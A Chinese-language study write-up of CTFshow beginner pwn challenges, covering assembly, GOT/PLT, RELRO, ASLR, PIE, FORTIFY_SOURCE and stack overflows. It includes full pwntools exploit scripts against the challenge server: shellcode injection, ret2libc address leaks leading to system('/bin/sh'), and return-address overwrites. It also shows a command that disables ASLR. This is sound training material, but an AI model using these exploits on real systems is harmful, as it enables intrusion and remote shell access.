PWN-study pwn0 用户名为 ctfshow 密码 为 123456 # 注意密码不是ctfshow
请使用 ssh软件连接 ssh ctfshow@题目地址 -p题目端口号
pwn1-4 system(cat /ctfshow_flag) pwd–ls–cat 反编译看结果(实际不用( 有点逆向味道,找到比较字符串,明文存储。但是记得,没有回显/。。 汇编基础 pwn5-12 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 section .data msg db "Welcome_to_CTFshow_PWN", 0 section .text global _start _start: ; 立即寻址方式 mov eax, 11 ; 将11赋值给eax add eax, 114504 ; eax加上114504 sub eax, 1 ; eax减去1 // eax = 114514 ; 寄存器寻址方式 mov ebx, 0x36d ; 将0x36d赋值给ebx mov edx, ebx ; 将ebx的值赋值给edx //edx=0x36D ; 直接寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx //ecx=0x80490E8 ; 寄存器间接寻址方式 mov esi, msg ; 将msg的地址赋值给esi mov eax, [esi] ; 将esi所指向的地址的值赋值给eax //eax=0x636C6557 ; 寄存器相对寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx add ecx, 4 ; 将ecx加上4 mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax //eax=ome_to_CTFshow_PWN ; 基址变址寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx mov edx, 2 ; 将2赋值给edx mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax //eax=ome_to_CTFshow_PWN ; 相对基址变址寻址方式 mov ecx, msg ; 将msg的地址赋值给ecx mov edx, 1 ; 将1赋值给edx add ecx, 8 ; 将ecx加上8 mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax //eax=ome_to_CTFshow_PWN ; 输出字符串 mov eax, 4 ; 系统调用号4代表输出字符串 mov ebx, 1 ; 文件描述符1代表标准输出 mov ecx, msg ; 要输出的字符串的地址 mov edx, 22 ; 要输出的字符串的长度 int 0x80 ; 调用系统调用 ; 退出程序 mov eax, 1 ; 系统调用号1代表退出程序 xor ebx, ebx ; 返回值为0 int 0x80 ; 调用系统调用
**pwn9:**那么080490E8地址单元中的值就为:636C6557h,后面的h表示给数值是16进制。所以本条代码执行后eax寄存器中的值就为636C6557h。 所以本题的flag为:ctfshow{0x636C6557}
使用 nasm 命令对该汇编文件进行编译,指定输出格式为 ELF 格式,这种格式是一种在 UNIX 系统中广泛使用的可执行文件格式,它包含了程序的二进制代码、数据、符号表等信息。 nasm -f elf Welcome_to_CTFshow.asm 将该文件链接成可执行文件 ld -m elf_i386 -s -o Welcome_to_CTFshow Welcome_to_CTFshow.o ld: 这是 GNU 链接器的命令。
-m elf_i386: 这个选项指定链接器工作在 i386 架构下,生成针对 ELF 格式的目标文件。i386 是 Intel 的 32 位架构。
-s: 这个选项告诉链接器在生成的可执行文件中去除符号表和调试信息,以减小文件大小。
-o Welcome_to_CTFshow: 这个选项指定生成的可执行文件的文件名为 Welcome_to_CTFshow。
Welcome_to_CTFshow.o: 这是要链接的输入文件,是由汇编器生成的对象文件,它包含了汇编代码的已编译二进制表示。 checksec Welcome_to_CTFshow 选中使用快捷键 A 将数据转换为字符串
二进制文件基础 pwn13 gcc -o flag flag.c———-ctfshow{hOw_t0_us3_GCC?}
pwn14 ///链接文件
echo CTFshow > key # 创建内容为CTFshow的key文件 gcc -o flag ./flag.c # 编译flag.c ./flag #运行flag文件那flag
pwn15 1 2 3 nasm -f elf64 flag.asm # 将flag.asm编译成64为.o文件 ld -s -o flag flag.o # 将flag.o链接成flag可执行文件 ./flag # 运行flag可执行文件拿到flag
pwn16 1 2 gcc -o flag flag.s # 将flag.s编译成flag可执行文件 ./flag # 运行flag可执行文件拿到flag
pwn17 限制了我们输入字符串的长度为9,system(“/bin/sh”);是可以获得Linux的交互式shell的
1 2 /bin/sh cat /ctfshow_flag
Linux相关基础命令 pwn18 echo >> 两个>表示追加
echo > 一个>表示覆盖
pwn19 关闭了输出流
1 2 3 4 5 // attributes: thunk __pid_t fork(void) { return fork(); }
使用 >&0定向到输入流
输入命令’pwd >&0’之后,给我们返回了/,代表我们所处根路径。
再重新nc连接(因为这个程序给我们执行命令的环境不是交互式的,所以我们需要再次nc连接执行命令),使用ls >&0查看根目录。
再使用cat ctfshow_flag >&0
Linux安全机制 .got .plt 》http://t.csdnimg.cn/NfKt8
运行时重定位
这个地址在链接时要修正,它的修正值是根据printf地址(更确切的叫法应该是符号,链接器眼中只有符号,没有所谓的函数和变量)来修正,它的修正方式按相对引用方式 。这个过程称为链接时重定位
printf是在glibc动态库定位,或者是在其它.o定义这两种情况下,它都能工作。如果是在其它.o中定义了printf函数,那在链接阶段,printf地址已经确定,可以直接重定位。如果printf定义在动态库内(链接阶段是可以知道printf在哪定义的,只是如果定义在动态库内不知道它的地址而已),链接阶段无法做重定位。
存放函数地址的数据表,称为重局偏移表 (GOT, Global Offset Table),而那个额外代码段表,称为程序链接表 (PLT,Procedure Link Table)。它们两姐妹各司其职,联合出手上演这一出运行时重定位好戏 。
当然这个原理图并不是Linux下的PLT/GOT真实过程,Linux下的PLT/GOT还有更多细节要考虑了。这个图只是将这些躁声全部消除,让大家明确看到PLT/GOT是如何穿针引线的。
1 2 3 4 checksec 文件 当RELRO为Partial RELRO时,表示.got不可写而.got.plt可写。 当RELRO为FullRELRO时,表示.got不可写.got.plt也不可写。 当RELRO为No RELRO时,表示.got与.got.plt都可写。
pwn20 1 2 3 4 5 6 7 8 readelf -S pwn [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [21] .got PROGBITS 0000000000600f18 00000f18 0000000000000010 0000000000000008 WA 0 0 8 [22] .got.plt PROGBITS 0000000000600f28 00000f28 0000000000000030 0000000000000008 WA 0 0 8
ctfshow{1_1_0x600f18_0x600f28}
pwn21 1 2 3 4 5 6 7 8 9 10 11 12 ctfshow@ubuntu:~/Desktop$ checksec ppwn [*] '/home/ctfshow/Desktop/ppwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ctfshow@ubuntu:~/Desktop$ readelf -S ppwn [21] .got PROGBITS 0000000000600ff0 00000ff0 0000000000000010 0000000000000008 WA 0 0 8 [22] .got.plt PROGBITS 0000000000601000 00001000 0000000000000030 0000000000000008 WA 0 0 8
pwn22 1 2 3 4 5 6 7 8 9 10 11 12 13 ctfshow@ubuntu:~/Desktop$ checksec pwwn [*] '/home/ctfshow/Desktop/pwwn' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ctfshow@ubuntu:~/Desktop$ readelf -S pwwn x [12] .plt PROGBITS 0000000000400450 00000450 0000000000000040 0000000000000010 AX 0 0 16 [21] .got PROGBITS 0000000000600fc0 00000fc0 0000000000000040 0000000000000008 WA 0 0 8
ctfshow{0_0_0x600fc0}
溢出 pwn23 ctfshow函数是一个可以利用栈溢出的strcpy函数 ,我们就要尽可能的输入更多的字符串以让程序发生溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ ./pwnme aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██ ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██ ██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀ ██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██ ██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀ ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : No canary found * ************************************* How to input ? ctfshow{1c6bbef8-addb-4f20-a6ce-512f3684d46f}
pwn24 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import * p = remote("pwn.challenge.ctf.show",28274) payload = asm(shellcraft.sh()) p.sendline(payload) p.interactive() ctfshow@ubuntu:~/Desktop$ python Python 2.7.17 (default, Mar 8 2023, 18:40:28) [GCC 7.5.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> p = remote("pwn.challenge.ctf.show",28274) [x] Opening connection to pwn.challenge.ctf.show on port 28274 [x] Opening connection to pwn.challenge.ctf.show on port 28274: Trying 124.223.158.81 [+] Opening connection to pwn.challenge.ctf.show on port 28274: Done >>> payload = asm(shellcraft.sh()) >>> p.sendline(payload) >>> p.interactive() [*] Switching to interactive mode ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██ ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██ ██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀ ██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██ ██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀ ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : NX disabled & Has RWX segments * ************************************* jhh///sh/bin��h••••�4$ri••1�Qj•Y•�Q��1�j X̀ ���F ls bin boot ctfshow_flag dev etc home lib lib32 lib64 media mnt opt proc pwn root run sbin srv start.sh sys tmp usr var cat ctfshow_flag ctfshow{c9ed6187-a6c6-40ae-a2b6-77d5a628be4b}
pwn25 开启NX保护,或许可以试试ret2libc https://wiki.wgpsec.org/knowledge/ctf/re2libc.html
你可以使用pwntools的shellcraft模块来进行攻击
32位程序,使用IDA反编译,看到读入的buf为132个长度,而read()函数限制我们读入的长度位0x100,也就是256个长度,所以ctfshow()函数存在栈溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 ctfshow@ubuntu:~/Desktop$ objdump -d -j .plt pwn pwn: file format elf32-i386 Disassembly of section .plt: 08048370 <.plt>: 8048370: ff 35 04 a0 04 08 pushl 0x804a004 8048376: ff 25 08 a0 04 08 jmp *0x804a008 804837c: 00 00 add %al,(%eax) ... 08048380 <read@plt>: 8048380: ff 25 0c a0 04 08 jmp *0x804a00c 8048386: 68 00 00 00 00 push $0x0 804838b: e9 e0 ff ff ff jmp 8048370 <.plt> 08048390 <puts@plt>: 8048390: ff 25 10 a0 04 08 jmp *0x804a010 8048396: 68 08 00 00 00 push $0x8 804839b: e9 d0 ff ff ff jmp 8048370 <.plt> 080483a0 <__libc_start_main@plt>: 80483a0: ff 25 14 a0 04 08 jmp *0x804a014 80483a6: 68 10 00 00 00 push $0x10 80483ab: e9 c0 ff ff ff jmp 8048370 <.plt> 080483b0 <write@plt>: 80483b0: ff 25 18 a0 04 08 jmp *0x804a018 80483b6: 68 18 00 00 00 push $0x18 80483bb: e9 b0 ff ff ff jmp 8048370 <.plt> 080483c0 <setvbuf@plt>: 80483c0: ff 25 1c a0 04 08 jmp *0x804a01c 80483c6: 68 20 00 00 00 push $0x20 80483cb: e9 a0 ff ff ff jmp 8048370 <.plt>
使用cyclic计算栈偏移量,得出栈偏移量为140
1 2 3 4 ctfshow@ubuntu:~/Desktop$ cyclic 200 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab ctfshow@ubuntu:~/Desktop$ cyclic -l 0x6261616b 140
使用objdump查看plt表中的函数,我们看到plt表中有puts函数也有write函数,这里我们使用puts函数来输出函数的内存地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 ctfshow@ubuntu:~/Desktop$ objdump -d -j .plt pwn pwn: file format elf32-i386 Disassembly of section .plt: 08048370 <.plt>: 8048370: ff 35 04 a0 04 08 pushl 0x804a004 8048376: ff 25 08 a0 04 08 jmp *0x804a008 804837c: 00 00 add %al,(%eax) ... ####### 08048380 <read@plt>: 8048380: ff 25 0c a0 04 08 jmp *0x804a00c 8048386: 68 00 00 00 00 push $0x0 804838b: e9 e0 ff ff ff jmp 8048370 <.plt> ######## 08048390 <puts@plt>: 8048390: ff 25 10 a0 04 08 jmp *0x804a010 8048396: 68 08 00 00 00 push $0x8 804839b: e9 d0 ff ff ff jmp 8048370 <.plt> 080483a0 <__libc_start_main@plt>: 80483a0: ff 25 14 a0 04 08 jmp *0x804a014 80483a6: 68 10 00 00 00 push $0x10 80483ab: e9 c0 ff ff ff jmp 8048370 <.plt> ####### 080483b0 <write@plt>: 80483b0: ff 25 18 a0 04 08 jmp *0x804a018 80483b6: 68 18 00 00 00 push $0x18 80483bb: e9 b0 ff ff ff jmp 8048370 <.plt> 080483c0 <setvbuf@plt>: 80483c0: ff 25 1c a0 04 08 jmp *0x804a01c 80483c6: 68 20 00 00 00 push $0x20 80483cb: e9 a0 ff ff ff jmp 8048370 <.plt>
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import * context.log_level = 'debug' p = remote('pwn.challenge.ctf.show', 28278) elf = ELF('./pwn') libc = ELF('/home/ctfshow/libc/32bit/libc-2.27.so') offset = 0x88 + 0x4 # 溢出偏移地址 main_addr = elf.symbols['main'] # main函数地址 puts_plt = elf.plt['puts'] # plt表中puts函数地址 puts_got = elf.got['puts'] # got表中puts函数地址 # payload:0x88+0x4个无用填充字符覆盖到返回地址, # 将puts函数plt表地址做返回地址,代表ctfshow函数执行完会执行puts函数, # main_addr是puts函数执行完后的返回地址,使用puts函数执行完后回到main函数继续利用溢出漏洞 # puts函数got表中的地址作为puts函数执行的参数,让puts函数输出puts函数在内存的地址 payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got) # 发送payload p.sendline(payload) # 接收puts函数输出的puts函数在内存的地址 puts_addr = u32(p.recv()[0:4]) print(hex(puts_addr)) # 在根据内存中puts函数的地址寻找相应的libc版本中puts函数的地址 libc_base = puts_addr - libc.symbols['puts'] print(hex(libc_base)) # 计算 system 函数的地址 system_addr = libc_base + libc.symbols['system'] # 计算 "/bin/sh" 字符串的地址 binsh_addr = libc_base + next(libc.search('/bin/sh')) # 构造 payload 发送给程序 payload = offset * 'a' + p32(system_addr) + 'aaaa' + p32(binsh_addr) p.sendline(payload) p.interactive() ctfshow@ubuntu:~/Desktop$ python 11.py [+] Opening connection to pwn.challenge.ctf.show on port 28278: Done [*] '/home/ctfshow/Desktop/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] '/home/ctfshow/libc/32bit/libc-2.27.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [DEBUG] Sent 0x99 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000080 61 61 61 61 61 61 61 61 61 61 61 61 90 83 04 08 │aaaa│aaaa│aaaa│····│ 00000090 2d 86 04 08 10 a0 04 08 0a │-···│····│·│ 00000099 [DEBUG] Received 0x11 bytes: 00000000 60 13 df f7 90 2d da f7 b6 83 04 08 c0 1a df f7 │`···│·-··│····│····│ 00000010 0a │·│ 00000011 0xf7df1360 0xf7d8a000 [DEBUG] Sent 0x99 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000080 61 61 61 61 61 61 61 61 61 61 61 61 10 6d dc f7 │aaaa│aaaa│aaaa│·m··│ 00000090 61 61 61 61 cf 58 f0 f7 0a │aaaa│·X··│·│ 00000099 [*] Switching to interactive mode $ cat flag [DEBUG] Sent 0x9 bytes: 'cat flag\n' [DEBUG] Received 0x2e bytes: 'ctfshow{8b046493-c3e3-4c64-bcd0-3e78fe5b80d2}\n' ctfshow{8b046493-c3e3-4c64-bcd0-3e78fe5b80d2}
pwn26 什么是ASLR 大多数的攻击都基于这样一个前提,即攻击者知道程序的内存布局,需要提前知道shellcode或者其他一些数据的位置。因此,引入内存布局的随机化能够有效增加漏洞利用的难度,其中一种技术就是ASLR(Address Space Layout Randomization)。ASLR提供的只是概率上的安全性,根据用于随机化的熵,攻击者有可能幸运地猜到正确的地址,有时攻击者还可以爆破。
在Linux上,ASLR的全局配置/proc/sts/kernel/randomize_va_space有三种情况:0表示关闭ASLR;1表示部分开启(将mmap的基址,stack和vdso页面随机化);2表示完全开启(在部分开启的基础上增加heap的随机化)。如下: 在这里插入图片描述 我们可以修改/proc/sts/kernel/randomize_va_space文件的值来配置ASLR。
1 2 3 su root echo 0 > /proc/sys/kernel/randomize_va_space ./pwn
pwn27 这道题目相较于上道题目,是/proc/sys/kernel/randomize_va_space这个文件的内容为0或者1都可以得到正确的flag。由于我们在上到题目中已经把/proc/sys/kernel/randomize_va_space这个文件中的内容改为了0,所以我们直接运行pwn文件就能拿到flag了。
pwn28 这道题目比前两道题好像还简单,什么限制都没有,直接运行就能拿flag,天大的好事呀!!!
pwn29 什么是PIE 由于ASLR是一种操作系统层面的技术,而二进制程序本身是不支持随机化加载的,便出现了一些绕过方法,例如ret2plt、GOT劫持、地址爆破等。于是,人们于2003年引入了位置无关可执行文件(Position-Independent Executable,PIE)。它在应用层的编译器实现,通过将程序编译为位置无关代码(Position-Independent Code,PIC),使程序可以被加载到任意位置,就像是一个特殊的共享库。在PIE和ASLR同时开启的情况下,攻击者将对程序的内存布局一无所知,大大增加了利用难度。然而在增加安全性的同时,PIE也会一定程度上影响性能,因此在大多数操作系统上PIE仅用于一些对安全性要求比较高的程序。
ASLR和PIE开启后,
大致逻辑就是,先把/proc/sts/kernel/randomize_va_space的内容更改为2,也就是将ASLR全开启,然后输出了main函数和system函数的地址,有输出了变量的堆栈的信息,最后打印一条消息,说明所有的保护机制都开了,地址全部都是随机化的!然后就会为我们输出flag了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 root@ubuntu:/home/ctfshow/Desktop# ./pwn ▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄ ██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██ ██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██ ██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀ ██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██ ██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀ ▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀ * ************************************* * Classify: CTFshow --- PWN --- 入门 * Type : Linux_Security_Mechanisms * Site : https://ctf.show/ * Hint : Please confirm your ASLR level first ! * ************************************* Here is your ASLR level: 2 Let's take a look at protection: [*] Checking for new versions of pwntools To disable this functionality, set the contents of /root/.cache/.pwntools-cache-2.7/update to 'never' (old way). Or add the following lines to ~/.pwn.conf (or /etc/pwn.conf system-wide): [update] interval=never [*] A newer version of pwntools is available on pypi (4.2.1 --> 4.12.0). Update with: $ pip install -U pwntools [*] '/home/ctfshow/Desktop/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled executable: 0x55555555483a system@plt: 0x7ffff782d420 heap: 0x555555757260 stack: 0x7fffffffe324 As you can see, the protection has been fully turned on and the address has been completely randomized! Here is your flag: ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}
pwn30 关闭PIE后 程序的基地址固定,攻击者可以更容易地确定内存中函数和变量的位置。 依旧是一个溢出漏洞,内存占用情况和pwn25也是一样的
那么可以利用和pwn25一样的exp,利用ret2libc泄露puts函数的地址,进而发送payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import * from LibcSearcher import * context.log_level = 'debug' p = remote("pwn.challenge.ctf.show", "28119") elf = ELF("./pwn") offset = 0x88 + 0x4 main_addr = elf.symbols['main'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendline(payload) puts_addr = u32(p.recv()[0:4]) print(hex(puts_addr)) libc = LibcSearcher("puts", puts_addr) libc_base = puts_addr - libc.dump("puts") print(hex(libc_base)) system_addr = libc_base + libc.dump("system") binsh_addr = libc_base + libc.dump("str_bin_sh") payload = offset * b'a' + p32(system_addr) + b'a' * 4 + p32(binsh_addr) p.sendline(payload) p.interactive()
pwn31 开启 ASLR 和 PIE 的情况下,仍可能被利用 虽然程序每次运行的基址会变,但程序中的各段的相对偏移是不会变的,只要泄露出来一个地址,通过IDA静态的看他的程序地址,就能算出基址,从而实现绕过。
这里程序中有输出main函数地址的语句,那么就得到了运行时main函数的地址,减去main函数的静态地址,就是函数地址的偏移量了
用程序表示就是
1 2 3 4 5 6 7 from pwn import * context.log_level = "debug" p = remote("pwn.challenge.ctf.show", "端口号") elf = ELF("./pwn") main_real_addr = int(p.recv().strip(),16) base_addr = main_real_addr - elf.sym['main']
知道了函数地址偏移量,还需要知道溢出的偏移量,输入下面的命令
1 2 gdb pwn #用gdb打开文件 cyclic 200 #输出200个无用字符
可以看到输出了200个无用字符,都复制下来
再输入r运行程序,可以看到main函数的地址被输出了。接着将刚才复制的200个字符粘贴作为输入,可以看到又输出了一个地址并报错了,这是因为栈溢出,程序给出了一个无效地址,而这个地址就是被覆盖后的ctfshow函数的返回地址
再输入cyclic -l 0x6261616b就能得到栈溢出的偏移量,是140
由此得到了两个数据,一个是函数地址的偏移量,一个是栈溢出的偏移量,根据这两个数据改写之前的ret2libc脚本,下面是其他博客里py来的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * from LibcSearcher import * context.log_level = "debug" p = remote("pwn.challenge.ctf.show", 28173) elf = ELF("./pwn") main_real_addr = int(p.recv().strip(), 16) print(hex(main_real_addr)) base_addr = main_real_addr - elf.sym['main'] # 获得了内存中真实的main地址,再减去程序中的main函数的地址就能得到程序中函数在内存中的偏移 puts_plt = base_addr + elf.sym['puts'] puts_got = base_addr + elf.got['puts'] ctfshow_addr = base_addr + elf.sym['ctfshow'] ebx = base_addr + 0x1fc0 payload = 132 * b'a' + p32(ebx) + 4 * b'a' + p32(puts_plt) + p32(main_real_addr) + p32(puts_got) p.send(payload) puts_addr = u32(p.recv()[0:4]) print(hex(puts_addr)) # 通过got表中puts函数的地址打印出puts函数真实的地址 libc = LibcSearcher("puts", puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump("system") binsh_addr = libc_base + libc.dump("str_bin_sh") # 找到libc,通过libc找到system、/bin/sh payload = 140 * b'a' + p32(system_addr) + p32(ctfshow_addr) + p32(binsh_addr) p.send(payload) p.interactive()
对于上面的exp,以下为详解:
1.与服务器建立连接后先利用main函数获得函数地址的偏移量base_addr,也就是所谓的基址
2.利用基址得到puts函数在plt和got表中的真实地址
3.发送payload,利用got表得到puts函数真实的地址
4.利用puts函数的真实地址得到libc库的基址,进而得到libc库中system函数和/bin/sh的地址
5.再次发送payload获得shell
其中第一个payload出现了ebx,这是因为ctfshow函数的最后有一条mov指令,其中的ebx寄存器不能被覆盖,所以需要将其真实的地址放到payload中。ebx是由__x86.get_pc_thunk.bx得到的,它将下一条指令的地址赋给ebx寄存器,然后通过加上一个偏移,得到当前进程GOT表的地址,并以此作为后续操作的基地址。
用readelf -S pwn命令可以知道got表的初始地址为0x001fc0,因此ebx的真实地址为base_addr + 0x1fc0
运行脚本得到flag
pwn32 FORTIFY_SOURCE=0: 禁用 Fortify 功能。 不会进行任何额外的安全检查。 可能导致潜在的安全漏洞。 我们先来分析一下代码的逻辑: 程序打印出logo的信息,然后然后将第一个参数argv[1]也就是我们启动程序输入的第一个参数(其实还有argv[0]的,这个参数是每个程序的都一定会有的,并且值为程序名称)赋给v4,并且没有长度限制。之后程序将v4[10]的数组内容赋给buf1[10]数组,再将CTFshowPWN通过strcpy函数赋给buf2,接着打印输出buf1和buf2。再然后通过strtol(argv[3], 0LL, 10)将我们启动程序传入的第三个参数转为10进制赋给v5,紧接着使用memcpy函数将argv2的v5个字符赋给buf1,v5是int型,数值就是上条语句的得来的;然后再通过strcpy函数argv[1]我们输入第一个参数赋给buf2,之后再打印输出buf1和buf2,最后读取_bss_start 11个字符给buf1,打印输出buf1和num的信息。最最后通过if判断argc是否大于4(默认情况下argc是等于1的,因为argv[0]必定存在,我们输入一个参数,argc就会等于2,依次递推),如果大于4,就会进入Undefined函数,Undefined函数的作用就是输出flag了。
因为本题目FORTIFY_SOURCE没有开启,代表我们启动函数直接输入4个参数(这时argc=5 > 4)就行了,而且这4个参数没有长度限制,如果开启FORTIFY_SOURCE就不好说了,因为开启了之后,由于程序存在strcpy和memcpy函数会检测长度,如果长度超过了限制,可能会使程序抛出异常而退出执行。
那么这道题目我们就直接输入4个参数就行了。
这时程序会停在这里,我们直接一个回车就行了。
pwn33 memcpy和strcpy这两个函数被替换成了mencpy_chk和 strcpy__chk安全函数,可以看到这两个函数相比前两个函数只是加上了11LL这个参数加以限制,因为buf1和buf2在声明的时候的长度就是11,所以程序为了防止溢出,使用后两个函数加上这两个数组的长度加以限制以防溢出。
我们就保证我们输入的第一个参数和第二个参数的长度不超过11就行了啊,只是上到题目没有开启FORTIFY_SOURCE,我们输入参数的长度是任意的,这道题目对我们的参数加以限制了而以。
我们直接ssh连接,运行pwnme加上不超过11长度的4个参数就行了(主要是参数1和参数2不超过11),那我们就和上道题目一样每个参数长度都为1呗。
pwn34 FORTIFY_SOURCE=2: 启用 Fortify 功能的高级级别。 包括基本级别的安全检查,并添加了更多的检查。 在编译时进行更严格的检查,如更精确的缓冲区边界检查。 提供更丰富的编译器警告和错误信息。
mencpy_chk和 strcpychk安全函数上道题目已经说过与memcpy和strcpy的区别,这里不再赘述。 printf__chk该函数与printf的区别在于: 不能使用 %x$n 不连续地打印,也就是说如果要使用 %3$n,则必须同时使用 %1$n 和 %2$n。在使用 %n 的时候会做一些检查。 这个涉及到格式化字符串漏洞,本题涉及不到,所以对本道题也几乎阻碍不大,所以我们还是ssh之后运行文件时输入的4个长度为1的参数,不出意外还能到拿到flag!
栈溢出 pwn36 gets函数是没有长度限制的,可以发生栈溢出!
所以我们的大致思路就是通过栈溢出,将ctfshow函数的返回地址覆盖为get_flag函数的地址,这样我们就可以控制程序的执行流程,进而拿到flag。
首先看ida中s[36]数组的大小为36,加上我们还要覆盖掉ebp的值(ebp后面是返回地址,前面是局部变量s数组的栈空间),我们需要的填充数据长度就为36 + 4即0x28 + 0x4,我们通过gdb的disass get_flag命令就可以得到get_flag函数的汇编代码,其中就有get_flag函数的首地址,所以我们大致的payload就为:(0x28 + 0x4 ) * ‘a’ + p32(get_flag函数的地址)
1 2 3 4 5 6 7 8 9 10 from pwn import * p = remote("pwn.challenge.ctf.show", "28312") offset = 0x12 + 0x4 get_flag_addr = 0x8048521 payload = offset * 'a' + p32(get_flag_addr) print(payload) p.sendline(payload) p.interactive()
pwn37 32位的 system(“/bin/sh”) 后门函数给你 直接改:
1 2 3 4 5 6 7 8 9 10 from pwn import * p = remote("pwn.challenge.ctf.show", "28312") offset = 0x12 + 0x4 get_flag_addr = 0x8048521 payload = offset * 'a' + p32(get_flag_addr) print(payload) p.sendline(payload) p.interactive()
pwn38 改64位 值得注意的是,这里需要用lea命令的地址作为覆盖的地址,而不是backdoor函数的地址,才疏学浅不知道为什么,可能是修改了栈的值导致出现错误
pwn39 32位的 system(); “/bin/sh” 但是这里不是system(“/bin/sh”)了,而是将函数和参数分割,两者都在程序中,所以可以通过栈溢出自行构造完整后门,栈上传参
自行构造完整后门(调用链)对溢出长度有要求,至少要能溢出除ip以外再多2个机器字长(32位4 bit;64位8bit),用于写入调用步骤
